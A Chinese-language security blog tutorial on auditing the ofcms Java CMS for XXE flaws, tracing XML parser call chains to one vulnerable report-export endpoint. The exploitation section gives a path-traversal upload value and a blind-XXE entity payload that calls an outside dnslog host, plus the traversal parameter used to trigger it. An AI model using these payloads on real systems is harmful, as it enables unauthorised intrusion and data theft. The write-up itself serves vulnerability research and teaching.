Java程式碼審計篇 | ofcms系統審計思路講解 - 篇4 | XXE漏洞審計
1. XXE程式碼審計【有1處】
XXE程式碼審計常搜尋的關鍵字如下:
XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...
還有一個特殊的,用於載入.jrxml
檔案,這是 JasperReports 特定的 XML 格式,用於定義報告模板。
JRXmlLoader
1.1. 搜尋JRXmlLoader
當然這樣搜比較慢,而且有很多重複的,這裡有個小技巧,可以搜到JRXmlLoader之後,然後Find Usages(Alt+F7),然後找到Usage in import檢視哪些類有匯入JRXmlLoader。
概涉及的類有:
JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...
挨個檢視一下,需要找解析jrxml
檔案的程式碼以及對應方法的呼叫情況:
這裡有個小技巧:因為這些類都是匯入的jar包內部的,這說明,不是每個類和方法都會被使用到;
與之不同的則是專案自己寫的類和方法,一般都會被用到。
因此:我們可以先查詢類中方法的呼叫,確定有沒有使用到,沒有使用到就不用管了,這樣可以節省大量的時間。
JRAntApiWriteTask
進到JRAntApiWriteTask類中之後,在本類中同樣搜尋JRXmlLoader,檢視哪些位置使用了JRXmlLoader:
可以看到,程式碼中使用了JRXmlLoader.load(srcFileName)
,這裡呼叫了.load()
方法,這是JRXmlLoader
載入jrxml
檔案的方式。
其中這段程式碼是在writeApi()
方法中被呼叫。
接下來的思路是:先查詢writeApi()
方法的呼叫情況(原因前面已經說了)
可以看到,同類下的execute()
方法對其有呼叫,但是透過查詢execute()
的呼叫,發現並沒有被使用。因此,此處就不需要再往下進行了。
1.1.2. JRAntUpdateTask
進到JRAntUpdateTask類中之後,在本類中同樣搜尋JRXmlLoader,檢視哪些位置使用了JRXmlLoader,以及方法的呼叫情況:
和JRAntApiWriteTask類中的情況一樣,execute()
沒有被呼叫,不用管了。
1.1.3. TableReportContextXmlRule
這個類雖然匯入了JRXmlLoader,但是沒有呼叫.load()方法,所以也不用管了
JasperCompileManager【存在漏洞】
這個類中的方法很多,很多方法都用到了JRXmlLoader:
我們應該怎麼定位呢?
想一下我們在幹嘛?是不是在尋找XXE漏洞,回想XXE原理,其中前提是:程式碼需要解析xml(jrxml)檔案才可能有漏洞,如果是生成xml檔案是不是就不用管了。
因此:我們需要定位到解析xml(jrxml)檔案的地方。
在JRXmlLoader中解析使用的是load()
方法,因此我們可以在當前類中搜尋.load(,
發現定位到了5個位置:
來詳細看一下:
分析一下程式碼,方法之間進行了互相呼叫,當然也呼叫了除了上述方法之外的方法。
下面我用呼叫圖展示一下:
這三個呼叫鏈都涉及到了load()
方法,因此都有可能存在XXE漏洞。
接下來看每個呼叫鏈最上層的方法是怎麼呼叫的(也就是找引數sourceFileName從哪來的),三個方法分別如下:(透過Find Usages/Alt+F7查詢)
-
compileReportToFile()
方法,沒有被呼叫,即該方法沒有觸發,不用管了~ -
第1個
compile(String sourceFileName)
方法,被當前類的compileReport(String sourceFileName)
方法呼叫 -
第2個compile(InputStream inputStream)方法,被當前類的
compileReport(InputStream inputStream)
方法呼叫 -
compileReportToStream()
方法,沒有被呼叫,即該方法沒有觸發,不用管了~
目前,只需要關注其中兩個就好:
- 1)
ompileReport(String sourceFileName)
- 2)
compileReport(InputStream inputStream)
繼續檢視其呼叫關係:其中compileReport(InputStream inputStream)
存在呼叫,ompileReport(String sourceFileName)
沒有被呼叫。
定位到compileReport(InputStream inputStream)
的呼叫位置,檢視原始碼:
ReprotAction
類的expReport()
方法將其呼叫。
並且ReprotAction
類上存在一個@Action(path = "/reprot")
註解,也就是說這裡可以被前端請求觸發執行。
觸發該expReport()
方法的介面為:/admin/reprot/expReport.json
那麼接下來做兩件事:
- 1)確定傳參,有無過濾
- 2)觸發介面,進行漏洞測試
從下面這段程式碼可以看出:compileReport(new FileInputStream(file))
的file是從"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"
獲取的.jrxml
檔案,而具體什麼檔案,由前端傳遞的“j”
引數決定。
簡單來說就是:在/WEB-INF/jrxml/
目錄下尋找“j”
引數指定的.jrxml
檔案進行jrxml檔案的解析。
並從呼叫鏈看出:整個過程沒有對檔案進行過濾,包括也沒有禁止解析外部實體(預設可以解析外部實體)。
呼叫鏈如下:
expReport()->compileReport()->compile()->JRXmlLoader.load()
所以這裡是存在XXE漏洞的。
那這樣的話,我們只需要保證:前端觸發/admin/reprot/expReport.json
介面時,傳遞“j”
引數指定的.jrxml
檔案中存在惡意外部實體,就可以實現漏洞利用。
這裡還有一個問題:“j”
引數指定的.jrxml
檔案是在/WEB-INF/jrxml/
目錄下,這裡我們是不可控的,因此怎麼讓ta能夠載入一個存在惡意外部實體的.jrxml
檔案呢?
這裡只能結合前面的檔案上傳漏洞,寫入惡意.jrxml
,來實現XXE漏洞的利用(如果這裡不存在檔案上傳漏洞,這裡無法利用)。
接下來,嘗試利用一下:(這裡沒有回顯,使用盲XXE方式)
1)透過檔案上傳漏洞,上傳一個帶有惡意外部實體的.jrxml
檔案。
file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E
file_content解碼如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>
2)觸發/admin/reprot/expReport.json
介面
根據功能和介面可以定位到功能為止:使用者管理-匯出全部
點選“匯出全部”,抓包,修改引數:
j=../../static/exp
可以看到,請求dnslog成功
1.2. 搜尋XMLReader
註釋忽略不看,剩餘的大概涉及的類有
DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是介面
CoroutineParser
每個都大概看一下:(找方法的呼叫情況,及解析xml檔案的相關方法,比如parse()等)
XMLReader的使用鏈為:
XMLReader.parse()
1.2.1. DTMManagerDefault
這個呼叫鏈非常的長,一般超過3個我都不會去審計了,因為ta有可能是元件內部使用的,有興趣的師傅可以自行追一下方法呼叫鏈,說不定有元件0day哦~
1.2.2. IncrementalSAXSource_Xerces
該類中不存在解析xml檔案的程式碼,故忽略
1.2.3. IncrementalSAXSource_Filter
此類中存在解析xml檔案的程式碼
接下來,追蹤其方法呼叫及引數傳遞
run()方法的呼叫很多:
但是存在一個問題,parse()方法所需的引數,並不是run()方法傳遞進來的。
因此接下來從引數傳遞進行分析,看是否可控
可以看到,該引數是startParse(InputSource source)
方法傳入,接下來追蹤下該方法
有兩個類中呼叫了該方法,一個DTMManagerDefault,一個IncrementalSAXSource_Xerces
1.2.4. XMLReaderManager
疲倦了,師傅們自己追追吧~
1.2.5. CoroutineParser
疲倦了,師傅們自己追追吧~
1.3. 搜尋SAXBuilder
不存在SAXBuilder。
1.4. 搜尋SAXReader
搜尋SAXReader之後,進入類之後,發現所搜到的都是變數名
並不是SAXReader物件,而是SAXCatalogReader類物件,沒有解析xml檔案的程式碼,所以不需要再看了。
📌
SAXCatalogReader
是一個與 XML 解析相關的概念,主要用於處理 XML 文件中的外部實體引用。它通常與 XML 解析器一起使用,以解決 DTD(Document Type Definition)或 XML 實體的重定向問題。透過配置SAXCatalogReader
,可以在解析 XML 文件時指定特定的目錄檔案,從而控制對外部資源的訪問。
1.5. 搜尋SAXParserFactory
SAXParserFactory的使用鏈為:
SAXParserFactory.newInstance().newSAXParser().parse()
所以在搜尋到的類中,搜尋.parse(
,如果有的話則存在解析xml,不存在則沒有。
這裡交給大家一個小技巧,使用正規表示式,搜尋包含SAXParserFactory
且包含.parse(
的java類:
(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)
透過搜尋,可以定位到比較精確的java類:
設計到的類有:
SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader
1.5.1. SynthParser
追蹤一下parse()
的呼叫,發現存在
繼續追蹤load()
,發現只在註釋中出現,沒有其他呼叫了,那就不用管了。
1.5.2. ResolvingParser
這個類搜尋到的parse並不是用來解析xml檔案的,所以忽略
1.5.3. Process
該類中存在解析xml檔案的程式碼:
該段程式碼存在的方法為_main()
,但並未有呼叫,因此忽略
1.5.4. SAXCatalogReader
該類中存在解析xml檔案的程式碼:
追蹤下readCatalog()
方法的呼叫,這個時候,會發現,方法的呼叫鏈很長。此時也要結合引數的來源一同分析。
📌tips:方法的呼叫鏈很長,沒完沒了,其實這裡差不多可以放棄了,如果是專案程式碼中真正用到了,代用鏈不會過長(當然也不一定,只是經驗之談)。
當然,你可以繼續檢視呼叫鏈,說不定會存在元件0day。
這裡其實也可以結合引數來一起分析,引數可能在方法呼叫鏈的某個中間位置就確定了,那就不需要分析這麼長的呼叫鏈了。
透過分析方法呼叫和引數傳遞,主要分為兩種情況:
readCatalog()
方法的呼叫一部分來自其他類中readCatalog()
方法,而這些方法並沒有再被呼叫,所以沒有被使用,因此這部分忽略,見下圖紅框處:
剩下的就是parseCatalog()
方法了:
其中parseCatalog(URL aUrl)
無呼叫:
其中parseCatalogFile(String fileName)
呼叫鏈比較長,但是引數在該方法中就確定了:
不是可控的,不用管了。
最後的parseCatalog(String mimeType, InputStream is)
:
還得繼續追蹤其呼叫:
追蹤到queryResolver()
方法,其引數也是不可控的,忽略。
SAXCatalogReader的分析到此為止。
1.5.5. AndroidFontFinder
該類中存在解析xml檔案的程式碼:
其中引數來源為parseSystemDefaultFonts()
方法,追蹤該方法的呼叫:
存在兩個,但是parseSystemDefaultFonts()
方法所需引數並不是從這兩個方法傳入的,因此在這兩個方法內部就確定了parseSystemDefaultFonts()
方法所需引數,即最終parse()
方法的引數。
那麼分析一下:
這裡可以看出,這個引數是固定不可控的,因此忽略,另一個方法內部也是如此,因此也忽略。
1.5.6. JRPrintXmlLoader
該類中存在解析xml檔案的程式碼:
其方法為loadXML(InputStream is)
,追蹤方法呼叫,
但是追蹤其方法呼叫,發現最上層方法並沒有被呼叫,截圖略,其中呼叫鏈為:
load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)
loadXML(InputStream is)
digester.parse(is)
還有一個呼叫鏈為:
RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(
JasperReportsContext jasperReportsContext,
String fileName,
boolean isXML,
Locale locale,
ResourceBundle resBundle
)
loadReport(String fileName, boolean isXmlReport)
loadXML(InputStream is)
digester.parse(is)
不管哪個呼叫鏈,其最上層方法都沒有被呼叫,因此忽略。
1.6. 搜尋Digester
Digester的使用鏈為:
Digester.parse()
所以在搜尋到的類中,搜尋.parse(
,如果有的話則存在解析xml,不存在則沒有。
使用正規表示式,搜尋包含Digester
且包含.parse(
的java類:
(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)
透過搜尋,可以定位到比較精確的java類:
涉及的類有:
JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader
1.6.1. JRXmlLoader
該類中的loadXML()
方法沒有被呼叫,忽略
1.6.2. JRPrintXmlLoader
該類中的loadXML()
方法沒有被呼叫,忽略
1.6.3. JRXmlTemplateLoader
該類中的loadTemplate()
方法沒有被呼叫,忽略
1.7. 搜尋DocumentBuilderFactory
DocumentBuilderFactory的使用鏈為:
DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))
所以在搜尋到的類中,搜尋.parse(
,如果有的話則存在解析xml,不存在則沒有。
使用正規表示式,搜尋包含DocumentBuilderFactory
且包含.parse(
的java類:
(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)
透過搜尋,可以定位到比較精確的java類:
涉及到的類有:
DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport
接下來思路一下,檢視每個類中相關程式碼
- parse是不在解析xml檔案
- 其相關方法的呼叫關係
- 解析的xml檔案引數是否可控
- 有無過濾、禁止解析外部DTD
1.7.1. DTMManagerDefault
之前遇到過,忽略。
1.7.2. DOMCatalogReader
該類中存在解析xml檔案的程式碼:
其方法為readCatalog(Catalog catalog, InputStream is)
,追蹤方法呼叫。
📌剩下的不想追了,累了~ 有興趣的師傅可以自己每個都追下,這樣就不會漏了,祝各位師傅天天出0day。
有好的技巧、好的思路的師傅也可以共享下思路,互相學習~~麼麼噠